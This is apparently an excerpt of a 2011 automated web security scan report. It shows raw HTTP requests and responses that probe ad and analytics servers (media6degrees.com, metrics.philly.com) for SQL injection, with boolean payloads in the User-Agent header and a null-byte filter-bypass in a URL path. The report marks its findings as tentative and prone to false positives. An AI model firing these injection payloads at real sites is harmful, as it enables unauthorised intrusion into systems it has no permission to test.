Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /orbserv/hbpix?pixId=2869&curl=http%3A%2F%2Fwww.washingtonpost.com%2F%2Fvendor%2Fsurvey-gizmo.jsp%3FpollURL%3Dhttp%3A%2F%2Fwww.surveygizmo.com%2Fs3%2Fpolljs%26pollID%3D539472-DPU5JRD6BN7QFZ9AI8X6B82W22I59H HTTP/1.1
Host: map.media6degrees.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com//vendor/survey-gizmo.jsp?pollURL=http://www.surveygizmo.com/s3/polljs&pollID=539472-DPU5JRD6BN7QFZ9AI8X6B82W22I59H
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.2483126303'%20or%201%3d1--%20
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=3EE51B53765DEA0EE049F10383DA89D7; ipinfo=2lkkjj40zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=016020a0e0f0g0h1ljtllpxzt1146caxzt1tr37xzt1tr37xzt1146caxzt113zye; adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; clid=2ljtllp01170xrd52zkwjuxh15si90193m040k0c50v; rdrlst=43m157rlklhm40000000g3m040pahlkze3o000000033m03157olkxlm50000000b3m04144qlkze3o000000033m0313y7lkze3o000000033m030hsnlkze3o000000033m0315sklkkpqq0000000o3m040x1blkkpqq0000000o3m0412nslkxrxz000000053m040hsplkkpqq0000000o3m0412gdlkkyy00000000k3m040morlkkxrb0000000l3m0414k6lkxlm50000000b3m040w35lkze3o000000033m0313pylkze3o000000033m0314rwlkxlm50000000b3m041628lkze3y000000013m0114khlkxlm50000000b3m041196lkkkbe0000000u3m0413x4lkxrxz000000053m0413qmlkze3y000000013m011195lkkpqh0000000p3m041194lkkjj40000000v3m040dlxlkb5u20000000z3m0416nulkxlm50000000b3m0413q8lkze3y000000013m011193lkkplo0000000r3m04008slklhm40000000g3m041192lkkpke0000000t3m040p46lkkpqq0000000o3m040zg4lkze3y000000013m010moylkl0r50000000h3m0416oilkxlm50000000b3m04144elkze3o000000033m0310poljyxb4000000163m0412ftlkxrxz000000053m040e6llkl0r50000000h3m0416dnlkze3o000000033m03138olkxrxz000000053m04167ulkxq41000000063m04159olk8fax000000113m0414qllkxlm50000000b3m0415halkxlm50000000b3m040m0ulkl0r50000000h3m040m0plkkxrb0000000l3m0416e6lkxnbq0000000a3m0413zblkze3y000000013m0114xnlkxlm50000000b3m04167blkl0r50000000h3m0416dxlkze3o000000033m031391lkxrxz000000053m0415zhlkze3y000000013m011672lkkxrb0000000l3m040ycrlkncow0000000f3m04158mlkze3o000000033m030okclkze3o000000033m031015lkze3y000000013m0113lelkxrxz000000053m0413yolkze3o000000033m03137rlkkpqq0000000o3m040ojulkze3o000000033m031240lkxrxz000000053m0414ozlkxlm50000000b3m0414bmlkxrxz000000053m0414j7lkxlm50000000b3m0414bzlkxlm50000000b3m040ni1lkb5u20000000z3m0411pjlkxrxz000000053m040p01lkze3o000000033m0315holkxlm50000000b3m040m7alkkxrb0000000l3m0413mklkxrxz000000053m040m7flkkyyl0000000j3m04101ulkze3o000000033m030zoklkze3o000000033m0312zglkxrxz000000053m0413lxlkxrxz000000053m040zp4lkze3o000000033m03148ilkxlm50000000b3m040xvclkze3o000000033m0312yxlkxrxz000000053m0415iglkxq0l000000073m0413n7lkze3y000000013m0116s2lkxpyu000000083m0414hplkxlm50000000b3m040znmlk3462000000143m0414hclkxlm50000000b3m040wd7lkze3o000000033m03102plkxrxz000000053m0410tylkkpku0000000s3m040p1blkb5u20000000z3m040p1alkze3o000000033m0300bvlk9pe8000000103m0415xylk60qe000000133m0410lxlkxrxz000000053m04103blkxrxz000000053m0410telkd7nq0000000y3m0416rslkxppm000000093m040c9slk9pe8000000103m0413mxlkze3o000000033m0312emlkze3o000000033m0310rdlkdkly0000000w3m04126qlkxrxz000000053m040mj2lkkxrb0000000l3m040kualkkpqq0000000o3m040z9zlkze3y000000013m01163plkxlm50000000b3m040z9xlkze3o000000033m030m45lkl0r50000000h3m040m40lkkxrb0000000l3m040zqylkxrxz000000053m040mjelkkxrb0000000l3m0412qnlkkplt0000000q3m040ovslkze3o000000033m0314e9lkze3o000000033m030bo8lkb5u20000000z3m0412x6lkxrxz000000053m040mjjlkl0r50000000h3m041342lkze3y000000013m010lw5lkb5u20000000z3m0416aulkze3o000000033m0316atlkxlm50000000b3m0415k9lkxlm50000000b3m041203lkb5u20000000z3m041204lkkyy00000000k3m04163clkxlm50000000b3m040afqlkze3o000000033m030o0vlkkpqx0000000n3m040z2ilkkxrb0000000l3m0413ovlkxrxz000000053m04; sglst=2280sbpelkxlm50000000b3m040k0b50bdsnlkxlm5006bu00b3m040k0b50barllkxlm5006bu00b3m040k0b50bcg5lkxlm5006bu00b3m040k0b50b9rslkkpke0d2dl00t3m040k0c50tam5lkkxr8002zw00m3m040k0c50mcd4lkxlm5006bu00b3m040k0b50bcrglkxlm5006bu00b3m040k0b50bcnolkxlm5006bu00b3m040k0b50babelkxlm5006bu00b3m040k0b50bdd8lkxlm5006bu00b3m040k0b50bcy2lkxlm5006bu00b3m040k0b50baoplkb5u209jqc0063e000j00500cnxlkxlm50000000b3m040k0b50bbq3lkxlm5006bu00b3m040k0b50baoilkxlm5006bu00b3m040k0b50bbvplkxlm5006bu00b3m040k0b50b942lkb5u20mfs300o3l000k005009ullkxlm5006bu00b3m040k0b50b8ndlkb5u20mfs300o3l000k00500bvclkxlm5006bu00b3m040k0b50bc5flkxlm5006bu00b3m040k0b50b56blkb5u20mfs300o3l000k00500bjqlkxlm5006bu00b3m040k0b50bawklkxlm5006bu00b3m040k0b50basulkb5u209jqc0063e000j00500crplkxlm5006bu00b3m040k0b50basqlkxlm5006bu00b3m040k0b50bc5rlkov6e0000000e3m040k0c50eaw8lkxlm5006bu00b3m040k0b50bc60lkxlm5006bu00b3m040k0b50bdc4lkxlm5006bu00b3m040k0b50bd26lkxlm5006bu00b3m040k0b50bdnjlkxlm5006bu00b3m040k0b50bbrilkxlm5006bu00b3m040k0b50bcbclkxlm5006bu00b3m040k0b50bc85lkxlm5006bu00b3m040k0b50bcsslkxlm5006bu00b3m040k0b50bc80lkb5u209jqc0063e000j00500ag2lkd7nq0m6g800y3m040k0c50vc1elkxlm5006bu00b3m040k0b50bc81lkkpke0cw1r00i3l000k005009grlkxlm5006bu00b3m040k0b50bc8flkxlm5006bu00b3m040k0b50ba6slkkpke0cw1r00i3l000k00500dnalkxlm5006bu00b3m040k0b50b9z6lkxlm50000000b3m040k0b50bdbtlkxlm5006bu00b3m040k0b50b9q4lkxlm5006bu00b3m040k0b50b0kllklhm40c4010053l000k00500dyllkxlm5006bu00b3m040k0b50bb3zlkxlm5006bu00b3m040k0b50b9q5lkb5u20mfs300o3l000k005009mjlkxlm50000000b3m040k0b50bdgflkkpke0d2dl00t3m040k0c50t0t7ljyxb410gsu0163m040k0c50vbo0lkb5u20mm3x00z3m040k0c50vbo1lkkyy00cmo50093l000k005009pglkxlm5006bu00b3m040k0b50bd86lklhm40c4010053l000k00500cwalkxlm5006bu00b3m040k0b50bdqllkxlm5006bu00b3m040k0b50bd84lkxlm5006bu00b3m040k0b50bdz3lkxlm5006bu00b3m040k0b50bcm6lkxlm5006bu00b3m040k0b50bcxdlkxlm5006bu00b3m040k0b50b719lkb5u20mm3x00h3m040k0b50c71alkkpke0cw1r00i3l000k00500ctplkxlm5006bu00b3m040k0b50bcc3lkxlm5006bu00b3m040k0b50bdgilkb5u209jqc0063e000j00500cthlkxlm5006bu00b3m040k0b50b4wclkb5u20mm3x00h3m040k0b50ca0ulkxlm5006bu00b3m040k0b50b5mrlkb5u20mfs300o3l000k005008eklkkpke0cw1r00i3l000k00500arilkxlm50000000b3m040k0b50bcbplkxlm5006bu00b3m040k0b50bbwjlkkyy00cszz00k3m040k0c50k9gelkxlm5006bu00b3m040k0b50b; vstcnt=417k010r164slly127p10f24exp6103210e24tc6l103210e24ru4y1032107249v4u10pj10e22te10tq10a24tmhw103210924f69z103210f24pq44103210a24n86o103210d24eflo218e104203210724eyja103210e24na8i103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24uzdp103210b24dret103210724gqhl103210923sti21hj10a203210e2451gt10pj10e24styu103210924cnyl103210g24o2lt103210a24fj52103210924nnav103210f24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b23l4f103210a24kd6k103210c24hqyp103210i2

Response 1

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: acs=016020a0e0f0g0h1ljtllpxzt115tzpxzt1tr37xzt1tr37xzt115tzpxzt113zye; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:46:27 GMT; Path=/
Set-Cookie: adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:46:27 GMT; Path=/
Set-Cookie: clid=2ljtllp01170xrd52zkwjuxh15tzp01a3m050k0d50w; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:46:27 GMT; Path=/
Set-Cookie: orblb=""; Domain=media6degrees.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rdrlst=43n0pahlkze3o000000043m04157rlklhm40000000h3m05144qlkze3o000000043m04157olkxlm50000000c3m0513y7lkze3o000000043m0415sklkkpqq0000000p3m050hsnlkze3o000000043m0412nslkxrxz000000063m050x1blkkpqq0000000p3m050hsplkkpqq0000000p3m0512gdlkkyy00000000l3m050morlkkxrb0000000m3m0514k6lkxlm50000000c3m050w35lkze3o000000043m0413pylkze3o000000043m0414rwlkxlm50000000c3m051628lkze3y000000023m0214khlkxlm50000000c3m051196lkkkbe0000000v3m0513x4lkxrxz000000063m0513qmlkze3y000000023m021195lkkpqh0000000q3m051194lkkjj40000000w3m050dlxlkb5u2000000103m0516nulkxlm50000000c3m051193lkkplo0000000s3m0513q8lkze3y000000023m020p46lkkpqq0000000p3m051192lkkpke0000000u3m05008slklhm40000000h3m0516oilkxlm50000000c3m050moylkl0r50000000i3m050zg4lkze3y000000023m0213qwlkzfle000000013m01144elkze3o000000043m0412ftlkxrxz000000063m0510poljyxb4000000173m050e6llkl0r50000000i3m05138olkxrxz000000063m0516dnlkze3o000000043m04167ulkxq41000000073m0514qllkxlm50000000c3m05159olk8fax000000123m0515halkxlm50000000c3m050m0ulkl0r50000000i3m050m0plkkxrb0000000m3m0516e6lkxnbq0000000b3m0513zblkze3y000000023m0214xnlkxlm50000000c3m05167blkl0r50000000i3m0516dxlkze3o000000043m041391lkxrxz000000063m0515zhlkze3y000000023m021672lkkxrb0000000m3m050ycrlkncow0000000g3m05158mlkze3o000000043m040okclkze3o000000043m041015lkze3y000000023m0213lelkxrxz000000063m0513yolkze3o000000043m04137rlkkpqq0000000p3m050o
...[SNIP]...

Request 2

GET /orbserv/hbpix?pixId=2869&curl=http%3A%2F%2Fwww.washingtonpost.com%2F%2Fvendor%2Fsurvey-gizmo.jsp%3FpollURL%3Dhttp%3A%2F%2Fwww.surveygizmo.com%2Fs3%2Fpolljs%26pollID%3D539472-DPU5JRD6BN7QFZ9AI8X6B82W22I59H HTTP/1.1
Host: map.media6degrees.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com//vendor/survey-gizmo.jsp?pollURL=http://www.surveygizmo.com/s3/polljs&pollID=539472-DPU5JRD6BN7QFZ9AI8X6B82W22I59H
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.2483126303'%20or%201%3d2--%20
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=3EE51B53765DEA0EE049F10383DA89D7; ipinfo=2lkkjj40zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=016020a0e0f0g0h1ljtllpxzt1146caxzt1tr37xzt1tr37xzt1146caxzt113zye; adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; clid=2ljtllp01170xrd52zkwjuxh15si90193m040k0c50v; rdrlst=43m157rlklhm40000000g3m040pahlkze3o000000033m03157olkxlm50000000b3m04144qlkze3o000000033m0313y7lkze3o000000033m030hsnlkze3o000000033m0315sklkkpqq0000000o3m040x1blkkpqq0000000o3m0412nslkxrxz000000053m040hsplkkpqq0000000o3m0412gdlkkyy00000000k3m040morlkkxrb0000000l3m0414k6lkxlm50000000b3m040w35lkze3o000000033m0313pylkze3o000000033m0314rwlkxlm50000000b3m041628lkze3y000000013m0114khlkxlm50000000b3m041196lkkkbe0000000u3m0413x4lkxrxz000000053m0413qmlkze3y000000013m011195lkkpqh0000000p3m041194lkkjj40000000v3m040dlxlkb5u20000000z3m0416nulkxlm50000000b3m0413q8lkze3y000000013m011193lkkplo0000000r3m04008slklhm40000000g3m041192lkkpke0000000t3m040p46lkkpqq0000000o3m040zg4lkze3y000000013m010moylkl0r50000000h3m0416oilkxlm50000000b3m04144elkze3o000000033m0310poljyxb4000000163m0412ftlkxrxz000000053m040e6llkl0r50000000h3m0416dnlkze3o000000033m03138olkxrxz000000053m04167ulkxq41000000063m04159olk8fax000000113m0414qllkxlm50000000b3m0415halkxlm50000000b3m040m0ulkl0r50000000h3m040m0plkkxrb0000000l3m0416e6lkxnbq0000000a3m0413zblkze3y000000013m0114xnlkxlm50000000b3m04167blkl0r50000000h3m0416dxlkze3o000000033m031391lkxrxz000000053m0415zhlkze3y000000013m011672lkkxrb0000000l3m040ycrlkncow0000000f3m04158mlkze3o000000033m030okclkze3o000000033m031015lkze3y000000013m0113lelkxrxz000000053m0413yolkze3o000000033m03137rlkkpqq0000000o3m040ojulkze3o000000033m031240lkxrxz000000053m0414ozlkxlm50000000b3m0414bmlkxrxz000000053m0414j7lkxlm50000000b3m0414bzlkxlm50000000b3m040ni1lkb5u20000000z3m0411pjlkxrxz000000053m040p01lkze3o000000033m0315holkxlm50000000b3m040m7alkkxrb0000000l3m0413mklkxrxz000000053m040m7flkkyyl0000000j3m04101ulkze3o000000033m030zoklkze3o000000033m0312zglkxrxz000000053m0413lxlkxrxz000000053m040zp4lkze3o000000033m03148ilkxlm50000000b3m040xvclkze3o000000033m0312yxlkxrxz000000053m0415iglkxq0l000000073m0413n7lkze3y000000013m0116s2lkxpyu000000083m0414hplkxlm50000000b3m040znmlk3462000000143m0414hclkxlm50000000b3m040wd7lkze3o000000033m03102plkxrxz000000053m0410tylkkpku0000000s3m040p1blkb5u20000000z3m040p1alkze3o000000033m0300bvlk9pe8000000103m0415xylk60qe000000133m0410lxlkxrxz000000053m04103blkxrxz000000053m0410telkd7nq0000000y3m0416rslkxppm000000093m040c9slk9pe8000000103m0413mxlkze3o000000033m0312emlkze3o000000033m0310rdlkdkly0000000w3m04126qlkxrxz000000053m040mj2lkkxrb0000000l3m040kualkkpqq0000000o3m040z9zlkze3y000000013m01163plkxlm50000000b3m040z9xlkze3o000000033m030m45lkl0r50000000h3m040m40lkkxrb0000000l3m040zqylkxrxz000000053m040mjelkkxrb0000000l3m0412qnlkkplt0000000q3m040ovslkze3o000000033m0314e9lkze3o000000033m030bo8lkb5u20000000z3m0412x6lkxrxz000000053m040mjjlkl0r50000000h3m041342lkze3y000000013m010lw5lkb5u20000000z3m0416aulkze3o000000033m0316atlkxlm50000000b3m0415k9lkxlm50000000b3m041203lkb5u20000000z3m041204lkkyy00000000k3m04163clkxlm50000000b3m040afqlkze3o000000033m030o0vlkkpqx0000000n3m040z2ilkkxrb0000000l3m0413ovlkxrxz000000053m04; sglst=2280sbpelkxlm50000000b3m040k0b50bdsnlkxlm5006bu00b3m040k0b50barllkxlm5006bu00b3m040k0b50bcg5lkxlm5006bu00b3m040k0b50b9rslkkpke0d2dl00t3m040k0c50tam5lkkxr8002zw00m3m040k0c50mcd4lkxlm5006bu00b3m040k0b50bcrglkxlm5006bu00b3m040k0b50bcnolkxlm5006bu00b3m040k0b50babelkxlm5006bu00b3m040k0b50bdd8lkxlm5006bu00b3m040k0b50bcy2lkxlm5006bu00b3m040k0b50baoplkb5u209jqc0063e000j00500cnxlkxlm50000000b3m040k0b50bbq3lkxlm5006bu00b3m040k0b50baoilkxlm5006bu00b3m040k0b50bbvplkxlm5006bu00b3m040k0b50b942lkb5u20mfs300o3l000k005009ullkxlm5006bu00b3m040k0b50b8ndlkb5u20mfs300o3l000k00500bvclkxlm5006bu00b3m040k0b50bc5flkxlm5006bu00b3m040k0b50b56blkb5u20mfs300o3l000k00500bjqlkxlm5006bu00b3m040k0b50bawklkxlm5006bu00b3m040k0b50basulkb5u209jqc0063e000j00500crplkxlm5006bu00b3m040k0b50basqlkxlm5006bu00b3m040k0b50bc5rlkov6e0000000e3m040k0c50eaw8lkxlm5006bu00b3m040k0b50bc60lkxlm5006bu00b3m040k0b50bdc4lkxlm5006bu00b3m040k0b50bd26lkxlm5006bu00b3m040k0b50bdnjlkxlm5006bu00b3m040k0b50bbrilkxlm5006bu00b3m040k0b50bcbclkxlm5006bu00b3m040k0b50bc85lkxlm5006bu00b3m040k0b50bcsslkxlm5006bu00b3m040k0b50bc80lkb5u209jqc0063e000j00500ag2lkd7nq0m6g800y3m040k0c50vc1elkxlm5006bu00b3m040k0b50bc81lkkpke0cw1r00i3l000k005009grlkxlm5006bu00b3m040k0b50bc8flkxlm5006bu00b3m040k0b50ba6slkkpke0cw1r00i3l000k00500dnalkxlm5006bu00b3m040k0b50b9z6lkxlm50000000b3m040k0b50bdbtlkxlm5006bu00b3m040k0b50b9q4lkxlm5006bu00b3m040k0b50b0kllklhm40c4010053l000k00500dyllkxlm5006bu00b3m040k0b50bb3zlkxlm5006bu00b3m040k0b50b9q5lkb5u20mfs300o3l000k005009mjlkxlm50000000b3m040k0b50bdgflkkpke0d2dl00t3m040k0c50t0t7ljyxb410gsu0163m040k0c50vbo0lkb5u20mm3x00z3m040k0c50vbo1lkkyy00cmo50093l000k005009pglkxlm5006bu00b3m040k0b50bd86lklhm40c4010053l000k00500cwalkxlm5006bu00b3m040k0b50bdqllkxlm5006bu00b3m040k0b50bd84lkxlm5006bu00b3m040k0b50bdz3lkxlm5006bu00b3m040k0b50bcm6lkxlm5006bu00b3m040k0b50bcxdlkxlm5006bu00b3m040k0b50b719lkb5u20mm3x00h3m040k0b50c71alkkpke0cw1r00i3l000k00500ctplkxlm5006bu00b3m040k0b50bcc3lkxlm5006bu00b3m040k0b50bdgilkb5u209jqc0063e000j00500cthlkxlm5006bu00b3m040k0b50b4wclkb5u20mm3x00h3m040k0b50ca0ulkxlm5006bu00b3m040k0b50b5mrlkb5u20mfs300o3l000k005008eklkkpke0cw1r00i3l000k00500arilkxlm50000000b3m040k0b50bcbplkxlm5006bu00b3m040k0b50bbwjlkkyy00cszz00k3m040k0c50k9gelkxlm5006bu00b3m040k0b50b; vstcnt=417k010r164slly127p10f24exp6103210e24tc6l103210e24ru4y1032107249v4u10pj10e22te10tq10a24tmhw103210924f69z103210f24pq44103210a24n86o103210d24eflo218e104203210724eyja103210e24na8i103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24uzdp103210b24dret103210724gqhl103210923sti21hj10a203210e2451gt10pj10e24styu103210924cnyl103210g24o2lt103210a24fj52103210924nnav103210f24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b23l4f103210a24kd6k103210c24hqyp103210i2

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:46:28 GMT; Path=/
Set-Cookie: clid=2ljtllp01170xrd52zkwjuxh15tzr01a3m050k0d50w; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:46:28 GMT; Path=/
Set-Cookie: orblb=""; Domain=media6degrees.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rdrlst=43n0pahlkze3o000000043m04157rlklhm40000000h3m05144qlkze3o000000043m04157olkxlm50000000c3m0513y7lkze3o000000043m0415sklkkpqq0000000p3m050hsnlkze3o000000043m0412nslkxrxz000000063m050x1blkkpqq0000000p3m050hsplkkpqq0000000p3m0512gdlkkyy00000000l3m050morlkkxrb0000000m3m0514k6lkxlm50000000c3m050w35lkze3o000000043m0413pylkze3o000000043m0414rwlkxlm50000000c3m051628lkze3y000000023m0214khlkxlm50000000c3m051196lkkkbe0000000v3m0513x4lkxrxz000000063m0513qmlkze3y000000023m021195lkkpqh0000000q3m051194lkkjj40000000w3m050dlxlkb5u2000000103m0516nulkxlm50000000c3m051193lkkplo0000000s3m0513q8lkze3y000000023m020p46lkkpqq0000000p3m051192lkkpke0000000u3m05008slklhm40000000h3m0516oilkxlm50000000c3m050moylkl0r50000000i3m050zg4lkze3y000000023m0213qwlkzflg000000013m01144elkze3o000000043m0412ftlkxrxz000000063m0510poljyxb4000000173m050e6llkl0r50000000i3m05138olkxrxz000000063m0516dnlkze3o000000043m04167ulkxq41000000073m0514qllkxlm50000000c3m05159olk8fax000000123m0515halkxlm50000000c3m050m0ulkl0r50000000i3m050m0plkkxrb0000000m3m0516e6lkxnbq0000000b3m0513zblkze3y000000023m0214xnlkxlm50000000c3m05167blkl0r50000000i3m0516dxlkze3o000000043m041391lkxrxz000000063m0515zhlkze3y000000023m021672lkkxrb0000000m3m050ycrlkncow0000000g3m05158mlkze3o000000043m040okclkze3o000000043m041015lkze3y000000023m0213lelkxrxz000000063m0513yolkze3o000000043m04137rlkkpqq0000000p3m050ojulkze3o000000043m041240lkxrxz000000063m0514ozlkxlm50000000c3m0514bmlkxrxz000000063m0514j7lkxlm50000000c3m0514bzlkxlm50000000c3m050ni1lkb5u2000000103m0511pj
...[SNIP]...

1.12. http://metrics.philly.com/b/ss/phillycom/1/H.17/s67586282941047 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://metrics.philly.com
Path:	/b/ss/phillycom/1/H.17/s67586282941047

Issue detail

The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 3, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

Request 1

GET /b/ss/phillycom%00'/1/H.17/s67586282941047?AQB=1&ndh=1&t=10/4/2011%208%3A11%3A30%202%20300&vmt=498F4D30&ns=phillycom&pageName=article%3A%20news%3A%20Santorum%20goes%20to%20dinner%20and%20comes%20up%20with%20a%20win%20-%2005/10/2011&g=http%3A//www.philly.com/philly/news/nation_world/121548659.html&cc=USD&ch=news&server=www.philly.com&events=event1%2Cevent4&c1=Santorum%20goes%20to%20dinner%20and%20comes%20up%20with%20a%20win&h1=philly%2Cnews%2Cnation_world%2Cindex&v2=article%3A%20news%3A%20Santorum%20goes%20to%20dinner%20and%20comes%20up%20with%20a%20win%20-%2005/10/2011&h2=philly%2Cphilly%2Cnews%2Cnation_world%2Cindex&c3=Article&v3=news&c4=Inquirer%20Unknown&v4=philly%2Cnews%2Cnation_world%2Cindex&c5=philly%2Cnews%2Cnation_world%2Cindex&v6=First%20Visit&c8=Tuesday&c9=9%3A00AM&c10=Weekday&c11=121548659&v11=www.philly.com&c12=Santorum%20goes%20to%20dinner%20and%20comes%20up%20with%20a%20win&v12=Santorum%20goes%20to%20dinner%20and%20comes%20up%20with%20a%20win&v13=a&v15=121548659&v16=Article&v17=http%3A//www.philly.com/philly/news/nation_world/121548659.html&v18=logged%20out&c21=First%20Visit&v21=Tuesday&c22=www.philly.com&v22=9%3A00AM&c23=philly%3Anews%3Anation_world&v23=Weekday&c28=New&c29=http%3A//www.philly.com/philly/news/nation_world/121548659.html&c30=logged%20out&c33=flash%2010&c35=silverlight%204.0&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1066&bh=967&p=Shockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.240.7%3BJava%28TM%29%20Platform%20SE%206%20U24%3BSilverlight%20Plug-In%3BChrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BWPI%20Detector%201.3%3BGoogle%20Update%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1
Host: metrics.philly.com
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; s_ria=flash%2010%7Csilverlight%204.0; undefined_s=First%20Visit; s_nr=1305033090598

Response 1

HTTP/1.1 404 Not Found
Date: Tue, 10 May 2011 14:20:28 GMT
Server: Omniture DC/2.0.0
Content-Length: 410
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /b/ss/phillycom was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
...[SNIP]...

Request 2

GET /b/ss/phillycom%00''/1/H.17/s67586282941047?AQB=1&ndh=1&t=10/4/2011%208%3A11%3A30%202%20300&vmt=498F4D30&ns=phillycom&pageName=article%3A%20news%3A%20Santorum%20goes%20to%20dinner%20and%20comes%20up%20with%20a%20win%20-%2005/10/2011&g=http%3A//www.philly.com/philly/news/nation_world/121548659.html&cc=USD&ch=news&server=www.philly.com&events=event1%2Cevent4&c1=Santorum%20goes%20to%20dinner%20and%20comes%20up%20with%20a%20win&h1=philly%2Cnews%2Cnation_world%2Cindex&v2=article%3A%20news%3A%20Santorum%20goes%20to%20dinner%20and%20comes%20up%20with%20a%20win%20-%2005/10/2011&h2=philly%2Cphilly%2Cnews%2Cnation_world%2Cindex&c3=Article&v3=news&c4=Inquirer%20Unknown&v4=philly%2Cnews%2Cnation_world%2Cindex&c5=philly%2Cnews%2Cnation_world%2Cindex&v6=First%20Visit&c8=Tuesday&c9=9%3A00AM&c10=Weekday&c11=121548659&v11=www.philly.com&c12=Santorum%20goes%20to%20dinner%20and%20comes%20up%20with%20a%20win&v12=Santorum%20goes%20to%20dinner%20and%20comes%20up%20with%20a%20win&v13=a&v15=121548659&v16=Article&v17=http%3A//www.philly.com/philly/news/nation_world/121548659.html&v18=logged%20out&c21=First%20Visit&v21=Tuesday&c22=www.philly.com&v22=9%3A00AM&c23=philly%3Anews%3Anation_world&v23=Weekday&c28=New&c29=http%3A//www.philly.com/philly/news/nation_world/121548659.html&c30=logged%20out&c33=flash%2010&c35=silverlight%204.0&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1066&bh=967&p=Shockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.240.7%3BJava%28TM%29%20Platform%20SE%206%20U24%3BSilverlight%20Plug-In%3BChrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BWPI%20Detector%201.3%3BGoogle%20Update%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1
Host: metrics.philly.com
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; s_ria=flash%2010%7Csilverlight%204.0; undefined_s=First%20Visit; s_nr=1305033090598

Response 2

HTTP/1.1 404 Not Found
Date: Tue, 10 May 2011 14:20:28 GMT
Server: Omniture DC/2.0.0
xserver: www622
Content-Length: 0
